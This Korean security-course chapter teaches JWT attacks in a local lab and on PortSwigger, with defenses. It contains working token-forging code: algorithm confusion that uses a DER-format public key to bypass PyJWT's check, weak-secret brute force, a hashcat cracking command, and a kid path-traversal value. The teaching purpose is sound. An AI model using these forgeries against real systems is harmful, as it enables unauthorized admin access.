Step 197. JWT 공격 심화 — alg 혼동과 약한 시크릿으로 관리자 되기
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 3시간
전제: Step 150(JWT와 비즈니스 로직)을 마쳤다. JWT의 세 덩어리 구조와 alg=none의 개념, PyJWT 기본 사용법을 안다.
- 준비물: 파이썬 3 + PyJWT + cryptography(
python -m pip install pyjwt cryptography). Burp Suite(워게임). - ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 합법 연습장 안내: 오늘의 키 생성과 토큰 위조 실험은 전부 여러분 컴퓨터 안에서 끝납니다. PortSwigger Web Security Academy의 JWT 랩은 풀라고 만들어진 합법 플랫폼입니다. 이 두 곳 외에는 오늘의 기술을 쓰지 않습니다.
Step 150에서 우리는 JWT를 해부했고 alg=none과 약한 비밀키의 맛을 봤습니다. 오늘은 한 발 더 들어갑니다. 서버가 비대칭키(RS256) 로 서명하는 정상적인 구성에서도, 검증 코드가 토큰의 alg 헤더를 그대로 믿으면 뚫립니다. 공개키는 이름 그대로 "공개"된 값입니다 — 그 공개키를 대칭키(HMAC 비밀키)인 양 써서 서명하는 alg confusion 공격이 오늘의 주인공입니다.
놀라운 점은, 이 고전 공격을 최신 라이브러리가 이미 막고 있다는 것과, 그래도 뚫린다는 것 둘 다 사실이라는 것입니다. 오늘 실험에서 최신 PyJWT가 어떻게 막는지, 그리고 그 방어가 어디까지인지를 직접 봅니다. 후반부에는 헤더의 kid 파라미터가 왜 주입 지점인지도 정리합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- HS256(대칭)과 RS256(비대칭)의 키 구조 차이를 설명한다
- RS256→HS256 alg confusion의 원리를 로컬에서 실측한다
- 최신 라이브러리의 방어(비대칭키의 HMAC 사용 차단)와 그 우회(키 형식 변환)를 관찰한다
- 약한 시크릿 브루트포스를 복습하고 hashcat 연계(m16500)를 안다
kid헤더 파라미터 주입의 개념과 방어(alg 고정, kid 검증)를 정리한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + PyJWT + cryptography(로컬 랩), PortSwigger Academy + Burp(워게임) |
| 오늘의 명령 | rsa.generate_private_key(), jwt.encode/decode, algorithms=[...], hashcat -m 16500(개념) |
| 필요한 개념 | HMAC vs RSA 서명, alg 헤더 신뢰 문제, kid 파라미터, 오프라인 크래킹 |
| 오늘의 산출물 | alg confusion 재현 코드 + 취약/방어 서버 비교 출력 + 공격 3종 방어 표 |
2-1. 대칭과 비대칭 — 두 종류의 서명
HS256은 대칭키 방식입니다. 서명할 때와 검증할 때 같은 비밀 문자열을 씁니다. 서버 하나가 발급도 검증도 하는 단순한 서비스에 잘 맞습니다.
RS256은 비대칭키 방식입니다. 서명은 개인키로, 검증은 공개키로 합니다. 키가 둘이라 역할을 나눌 수 있습니다 — 인증 서버만 개인키를 갖고, 여러 API 서버는 공개키로 검증만 합니다. 마이크로서비스에서 표준처럼 쓰이는 이유입니다.
핵심 성질: 공개키는 공개돼 있습니다. 엔드포인트(/.well-known/jwks.json)로 배포되는 경우도 흔합니다. "누구나 가질 수 있는 값"이라는 점이 오늘 공격의 재료입니다.
2-2. alg confusion — 검증 알고리즘을 누가 정하는가
취약한 서버의 검증 코드는 이렇게 생겼습니다: "토큰의 alg 헤더를 읽고, 그 알고리즘으로 검증한다." RS256으로만 쓰려던 서버가 검증 시 알고리즘을 고정하지 않은 것입니다.
공격자의 순서:
- 서버의 공개키를 구한다 (공개된 값이니 합법적으로 얻을 수 있음)
- 헤더를
{"alg":"HS256"}로 바꾼 토큰을 만든다 - 서명할 때 HMAC의 "비밀키" 자리에 공개키 문자열을 넣는다
- 서버는 헤더대로 HS256으로 검증하는데, 검증키로 쓰는 값이 바로 그 공개키 — 서명과 검증이 같은 값으로 맞아떨어진다
비대칭으로 설계된 시스템이 대칭 검증으로 미끄러지는 순간, "공개된 값 = 비밀키"가 되어 서명의 의미가 사라집니다.
2-3. 라이브러리의 방어와 그 한계
이 공격이 널리 알려지면서 JWT 라이브러리들은 대응을 넣었습니다. 최신 PyJWT는 HMAC 키로 비대칭키(PEM 형식)가 들어오면 오류를 냅니다. 오늘 실측에서 이 메시지를 직접 봅니다.
그런데 이 방어는 "키가 비대칭키 형식으로 보일 때"만 동작합니다. 같은 키를 DER 바이트처럼 다른 형식으로 바꿔 넣으면 검사를 지나칩니다. 진짜 방어는 라이브러리가 아니라 서버 코드의 algorithms=["RS256"] 고정입니다 — 이것도 오늘 실측합니다.
2-4. kid — 헤더 속 또 다른 입력칸
JWT 헤더에는 kid(key ID)라는 필드가 있습니다. "여러 개의 키 중 어느 키로 검증하라"는 선택자입니다. 취약한 서버는 이 값을 파일 경로나 DB 쿼리에 그대로 씁니다. kid가 ../../dev/null 같은 경로로 해석되면, 빈 파일의 내용(빈 문자열)이 검증키가 되어 공격자가 빈 키로 서명한 토큰이 통과합니다. 헤더는 "서버가 읽는 설정"이 아니라 "공격자가 쓰는 입력"이라는 감각이 중요합니다.
3. 따라 하기
3-1. RSA 키쌍과 정상 RS256 토큰
step197_jwt.py를 만듭니다. 서버 역할을 위해 RSA 키쌍을 만들고, 개인키로 서명·공개키로 검증하는 정상 흐름부터 확인합니다.
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
private_pem = key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
public_pem = key.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
print("공개키 앞 한 줄:", public_pem.decode().splitlines()[0])
token = jwt.encode({"sub": "user", "role": "user"}, private_pem, algorithm="RS256")
print("정상 토큰 검증:", jwt.decode(token, public_pem, algorithms=["RS256"]))
출력 (2026-09-09 실측, PyJWT 2.13 / cryptography 47):
공개키 앞 한 줄: -----BEGIN PUBLIC KEY-----
정상 토큰 검증: {'sub': 'user', 'role': 'user'}
읽는 법: 개인키로 서명하고 공개키로 검증하는 정상 RS256입니다. 이 공개키가 "누구나 구할 수 있는 값"이라는 점을 기억하세요.
3-2. alg confusion — 라이브러리 방어의 실측
공격을 시도합니다. 헤더를 HS256으로 바꾸고, 공개키를 HMAC 비밀키로 씁니다.
# 공격 시도 1: PEM 공개키를 그대로 HMAC 비밀키로
try:
forged = jwt.encode({"sub": "admin", "role": "admin"}, public_pem, algorithm="HS256")
print("PEM 공개키로 HS256 서명 성공(라이브러리 방어 없음)")
except jwt.exceptions.InvalidKeyError as e:
print("PEM 공개키 HS256 시도 -> 라이브러리 차단:", e)
출력 (2026-09-09 실측):
PEM 공개키 HS256 시도 -> 라이브러리 차단: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
읽는 법: 최신 PyJWT가 "이건 비대칭키니까 HMAC 비밀키로 못 씁니다"라고 막았습니다. 라이브러리 차원의 방어가 실제로 존재합니다. 그런데 이 검사는 형식을 보고 합니다. 같은 키를 DER 바이트로 바꿔 봅니다.
# 공격 시도 2: 같은 키를 DER 바이트 형식으로
public_der = key.public_key().public_bytes(
serialization.Encoding.DER,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
forged = jwt.encode({"sub": "admin", "role": "admin"}, public_der, algorithm="HS256")
print("DER 바이트 형태 공개키로 HS256 서명 성공 (차단 우회)")
출력 (2026-09-09 실측):
DER 바이트 형태 공개키로 HS256 서명 성공 (차단 우회)
읽는 법: 같은 키인데 형식만 바꿨더니 차단을 지나갔습니다. 라이브러리 방어는 "보조 수단"이고, 진짜 방어는 다음에 나옵니다.
3-3. 취약한 서버와 방어된 서버
위조 토큰을 두 종류의 서버 코드에 넣어 봅니다.
# 취약한 서버: 토큰의 alg 헤더를 그대로 믿고 검증 알고리즘을 둘 다 허용
vulnerable = jwt.decode(forged, public_der, algorithms=["RS256", "HS256"])
print("취약 서버(alg 둘 다 허용)가 받아들인 값:", vulnerable)
# 방어된 서버: 알고리즘을 RS256으로 고정
try:
jwt.decode(forged, public_pem, algorithms=["RS256"])
except jwt.exceptions.InvalidAlgorithmError as e:
print("방어 서버(alg 고정):", type(e).__name__, "-", e)
출력 (2026-09-09 실측):
취약 서버(alg 둘 다 허용)가 받아들인 값: {'sub': 'admin', 'role': 'admin'}
방어 서버(alg 고정): InvalidAlgorithmError - The specified alg value is not allowed
읽는 법: 같은 위조 토큰입니다. 알고리즘을 둘 다 허용한 서버는 관리자로 인정했고, RS256으로 고정한 서버는 alg 헤더가 약속과 다르다며 거부했습니다. 취약점의 정체는 암호학이 아니라 algorithms=[...] 한 줄입니다. 방어는 간단합니다 — 검증 시 허용 알고리즘을 설계 의도대로 고정하는 것.
3-4. 약한 시크릿 브루트포스 (Step 150 복습 + 실전 도구)
HS256 세계로 돌아와, 사전 공격을 다시 확인합니다.
SECRET = "superman"
hs_token = jwt.encode({"sub": "user", "role": "user"}, SECRET, algorithm="HS256")
wordlist = ["admin", "password", "secret", "superman", "qwerty", "jwt-secret"]
for i, word in enumerate(wordlist, 1):
try:
jwt.decode(hs_token, word, algorithms=["HS256"])
print(f"{i}번째 시도에서 키 발견: {word!r}")
break
except jwt.exceptions.InvalidSignatureError:
pass
forged2 = jwt.encode({"sub": "admin", "role": "admin"}, word, algorithm="HS256")
print("찾은 키로 위조한 토큰 검증:", jwt.decode(forged2, word, algorithms=["HS256"]))
출력 (2026-09-09 실측):
4번째 시도에서 키 발견: 'superman'
찾은 키로 위조한 토큰 검증: {'sub': 'admin', 'role': 'admin'}
읽는 법: 서버 접속 없이 토큰만으로 키를 찾고, 그 키로 위조까지 했습니다. 실행 중 PyJWT가 InsecureKeyLengthWarning(HMAC 키가 권장 32바이트 미만)을 띄운 것도 확인하세요 — 라이브러리가 "이 키는 브루트포스에 약하다"고 직접 경고하는 것입니다.
실전에서는 파이썬 반복문이 아니라 GPU 크래커를 씁니다. 명령 예시 (출력 예시 — 오늘 환경에서는 실행하지 않음):
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
-m 16500이 JWT(HS256) 전용 모드입니다. 사전은 Step 124에서 본 rockyou.txt 계열이나 JWT 전용 시크릿 목록(jwt-secrets)을 씁니다.
3-5. kid 주입 개념 (출력 예시)
취약한 서버가 kid를 파일 경로로 해석한다고 가정한 개념 실험입니다. 출력 예시:
조작된 헤더: {'alg': 'HS256', 'typ': 'JWT', 'kid': '../../../../dev/null'}
-> kid를 파일 경로로 읽는 서버라면 /dev/null(빈 내용)이 검증키가 되어
빈 문자열로 서명한 토큰이 통과한다
읽는 법: 헤더 필드는 전부 공격자가 쓸 수 있는 입력입니다. alg를 믿으면 alg confusion, kid를 믿으면 키 선택 주입이 됩니다. 방어는 같은 방향입니다 — 헤더 값을 파일 경로·쿼리에 그대로 쓰지 않고, 허용된 키 목록(화이트리스트)에서만 고르게 하는 것.
3-6. PortSwigger JWT 랩 연결
Academy의 JWT 랩은 오늘 기법의 실전 배치입니다. 진입하면 로그인 후 발급된 내 토큰을 Burp의 JWT 에디터(또는 jwt.io)로 해부하는 것부터 시작합니다. alg=none이 먹히는 랩, 약한 시크릿을 크랙하는 랩, 공개키를 구해 HS256으로 혼동시키는 랩이 각각 있습니다. 수동 변조 시에는 Base64url의 = 패딩이 없다는 점에 주의하세요 — 인코딩/디코딩이 꼬이기 쉬우니 jwt.io의 편집 기능을 적극 활용합니다. 크래킹이 안 되면 사전을 넓히는 것이 정석입니다.
4. 미션과 연습문제
미션 — alg confusion 전 과정 재현과 방어 증명
- 3-1~3-3을 재현하고, "PEM 차단 → DER 우회 → 취약 서버 수용 → 방어 서버 거부" 네 장면의 출력을 캡처합니다
- 취약 서버 코드(
algorithms=["RS256", "HS256"])를 방어 코드(algorithms=["RS256"])로 고쳤을 때 어떤 예외가 나는지 확인합니다 - 3-4의 브루트포스에서 사전에 없는 긴 무작위 키(32바이트 이상)로 바꿔, 찾지 못하는 것을 확인하고
InsecureKeyLengthWarning이 사라지는지 관찰합니다 - JWT 공격 3종(alg=none, alg confusion, 약한 시크릿)의 방어법을 한 표로 정리합니다
- PortSwigger JWT 랩 1개를 해결하고 write-up을 씁니다
연습문제
문제 1. RS256 시스템에서 공개키가 "누구나 가질 수 있는 값"인데도 정상 운용에서는 안전한 이유와, alg confusion에서 그 성질이 어떻게 무기로 뒤집히는지 설명해 보세요.
문제 2. 3-2 실측에서 최신 PyJWT는 PEM 공개키의 HMAC 사용을 차단했지만 DER 형식은 통과했습니다. 이 결과가 말해 주는 "라이브러리 방어의 한계"는 무엇인가요?
문제 3. alg confusion에 대한 진짜 방어가 algorithms=["RS256"] 고정인 이유를 3-3 출력을 근거로 설명해 보세요.
문제 4. JWT 헤더의 kid 파라미터가 왜 공격 표면인가요? 안전한 처리 방법과 함께 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
1~2번은 3절 실측 그대로입니다. 2번에서 방어 코드로 바꾸면 InvalidAlgorithmError - The specified alg value is not allowed가 떠야 정상입니다 — 이 예외가 "alg 헤더를 신뢰하지 않았다"는 증거입니다.
3번: 키를 32바이트 이상의 무작위 값(예: os.urandom(32).hex())으로 바꾸면 6개 사전으로는 못 찾고, 키 길이 경고도 사라집니다. "사전에 없고 충분히 긴 키 = 오프라인 크래킹이 현실적으로 불가"가 결론입니다.
4번 정리표 예시:
| 공격 | 조건 | 방어 |
|---|---|---|
| alg=none | 서버가 none 알고리즘 허용 |
허용 alg 목록에 none 제외 (최신 라이브러리 기본 차단) |
| alg confusion | 검증 시 alg 헤더를 신뢰 | algorithms=["RS256"]처럼 알고리즘 고정 |
| 약한 시크릿 | HS256 키가 사전에 있음 | 32바이트 이상 무작위 키 + 키 로테이션 |
| kid 주입 | kid를 경로/쿼리로 사용 | 허용 키 ID 화이트리스트 |
5번 write-up에는 "토큰 원본 / 바꾼 필드 / 사용한 키 / 서버 응답 / 서버가 믿어버린 것"을 적습니다.
연습문제 해답
문제 1 해답. 정상 RS256 운용에서는 서명이 개인키로만 만들어지므로, 공개키를 아는 것으로는 새 서명을 만들 수 없습니다 — 검증만 가능합니다. 그런데 서버가 검증 알고리즘을 HS256으로 바꿔치기당하면, HS256은 "서명=검증 같은 키"인 대칭 방식이라 공개키가 곧 서명 가능한 비밀키가 됩니다. 비대칭의 안전성은 "검증이 비대칭으로 이뤄질 때만" 성립합니다.
문제 2 해답. 라이브러리의 차단은 키의 형식을 인식할 때만 동작하는 휴리스틱입니다. 같은 키라도 DER 등 다른 형식으로 넣으면 검사를 지나가므로, 라이브러리 방어는 실수를 줄여 주는 안전망일 뿐 공격을 막는 경계선이 아닙니다. 최종 방어 책임은 서버 코드의 알고리즘 고정에 있습니다.
문제 3 해답. 3-3 실측에서 같은 위조 토큰이 algorithms=["RS256","HS256"] 서버에는 관리자로 수용되고 ["RS256"] 서버에는 InvalidAlgorithmError로 거부됐습니다. 검증 알고리즘을 고정하면 토큰의 alg 헤더가 아무리 HS256을 가리켜도 그 지시가 무시되므로, 공격의 전제("서버가 내가 정한 알고리즘으로 검증한다") 자체가 성립하지 않습니다.
문제 4 해답. kid는 공격자가 수정 가능한 헤더 필드인데, 서버가 이를 파일 경로나 SQL 쿼리에 연결하면 경로 탐색이나 인젝션으로 이어지고, /dev/null 같은 파일을 가리키면 빈 문자열이 검증키가 되어 빈 키로 서명한 토큰이 통과합니다. 안전한 처리는 kid를 서버가 가진 허용 키 목록의 식별자로만 대조하고, 목록에 없으면 거부하는 것입니다 — 경로나 쿼리 문자열로 사용하지 않습니다.
완료 기준 체크리스트
- [ ] HS256(대칭)과 RS256(비대칭)의 키 구조 차이를 말할 수 있다
- [ ] alg confusion을 로컬에서 재현하고 취약/방어 서버의 차이를 봤다
- [ ] PyJWT의 PEM 차단 메시지와 DER 우회를 실측으로 확인했다
- [ ] 약한 시크릿 브루트포스와 키 길이 경고의 의미를 안다
- [ ] hashcat
-m 16500이 JWT 크래킹 모드임을 안다 - [ ] kid 주입의 개념과 화이트리스트 방어를 설명할 수 있다
- [ ] 미션: 네 장면 캡처 + 공격 3종 방어 표 + PortSwigger 랩 1개
6. 흔한 실수와 해결
벽 1. ModuleNotFoundError: No module named 'cryptography'
원인: RS256을 쓰려면 PyJWT의 암호화 백엔드인 cryptography가 필요합니다.
해결: python -m pip install cryptography (2026-09-09 실측, 47.0.0 설치 확인). HS256만 쓰는 실험은 이 라이브러리 없이도 됩니다.
벽 2. InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
원인 (2026-09-09 실측): PEM 형식 공개키를 HS256 키로 넣었을 때 최신 PyJWT의 차단입니다. 고장이 아니라 방어가 눈에 보인 것입니다.
해결: 3-2처럼 이 메시지를 "라이브러리 방어의 실측"으로 기록하세요. 혼동 공격의 재현은 DER 형식 변환으로 이어갑니다.
벽 3. InvalidAlgorithmError: The specified alg value is not allowed
원인: 토큰의 alg가 algorithms=[...] 목록에 없습니다. alg=none이나 HS256 위조 토큰을 RS256만 허용하는 디코더에 넣으면 이렇게 됩니다.
해결: 거부가 정상이며 방어 성공 장면입니다. 공격 성공 장면을 보려면 허용 목록을 넓힌 "취약한 서버"와 나란히 비교하세요 (3-3).
벽 4. 토큰을 수동으로 고쳤는데 디코딩이 꼬인다
증상 계열 메시지:
binascii.Error: Invalid padding
원인: JWT는 Base64url이라 끝의 = 패딩이 없습니다. 수동 변조 후 패딩 처리가 어긋나면 디코딩이 깨집니다.
해결: s += "=" * (-len(s) % 4)로 패딩을 보정하거나(Step 150), 수동 변조는 jwt.io 편집기에 맡기세요.
벽 5. 브루트포스에서 키를 못 찾는다
원인: 사전에 진짜 키가 없는 것입니다. 실전에서는 흔한 일입니다.
해결: 사전을 넓히세요 — rockyou.txt, JWT 전용 목록(secrets) 순으로. 파이썬 반복문이 느리면 hashcat -m 16500으로 넘기면 됩니다. 그래도 안 나오면 "이 키는 사전 공격에 버틴다"가 그 자체로 유효한 관찰입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| HS256 vs RS256 | 대칭(같은 키로 서명·검증) vs 비대칭(개인키 서명·공개키 검증) |
| alg confusion | 검증 alg를 HS256으로 미끄러뜨려 공개키를 HMAC 비밀키로 쓰는 공격 |
| 라이브러리 방어 | PyJWT의 PEM 비대칭키 HMAC 차단 — 형식 인식 기반이라 우회 가능 |
| alg 고정 | algorithms=["RS256"] — 헤더의 지시를 무시하는 진짜 방어 |
| kid 주입 | 키 선택자를 경로/쿼리로 쓰는 서버에 빈 키를 먹이는 공격 |
| 오프라인 크래킹 | 토큰만으로 무한 시도 — hashcat -m 16500 |
| InsecureKeyLengthWarning | 키가 32바이트 미만이라는 라이브러리의 경고 — 방어 지표 |
오늘의 명령어·코드
| 명령·코드 | 하는 일 |
|---|---|
rsa.generate_private_key(...) |
실험용 RSA 키쌍 생성 |
jwt.encode(payload, private_pem, algorithm="RS256") |
정상 비대칭 서명 |
jwt.encode(payload, public_der, algorithm="HS256") |
alg confusion 위조 |
jwt.decode(token, 키, algorithms=["RS256"]) |
알고리즘 고정 검증 (방어) |
사전 반복 + jwt.decode |
약한 시크릿 브루트포스 |
hashcat -a 0 -m 16500 jwt.txt wordlist.txt |
JWT 전용 GPU 크래킹 (개념) |
명령어보다 중요한 감각
JWT를 보면 헤더를 "서버의 설정"이 아니라 "공격자의 입력칸"으로 보세요. alg를 믿으면 혼동되고, kid를 믿으면 키가 바뀝니다. 서명이 비대칭으로 설계됐어도 검증 한 줄이 대칭으로 미끄러지면 전체가 무너집니다. 그리고 라이브러리의 방어 메시지를 만나면 우회법부터 찾지 말고 그 의도를 읽으세요 — InvalidKeyError는 "이 길이 예전에 뚫렸다"는 역사의 기록이고, InsecureKeyLengthWarning은 "이 키는 사전이 있다"는 경고입니다. 예외 메시지가 곧 공격의 지도입니다.
전부 체크되면 Step 197 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.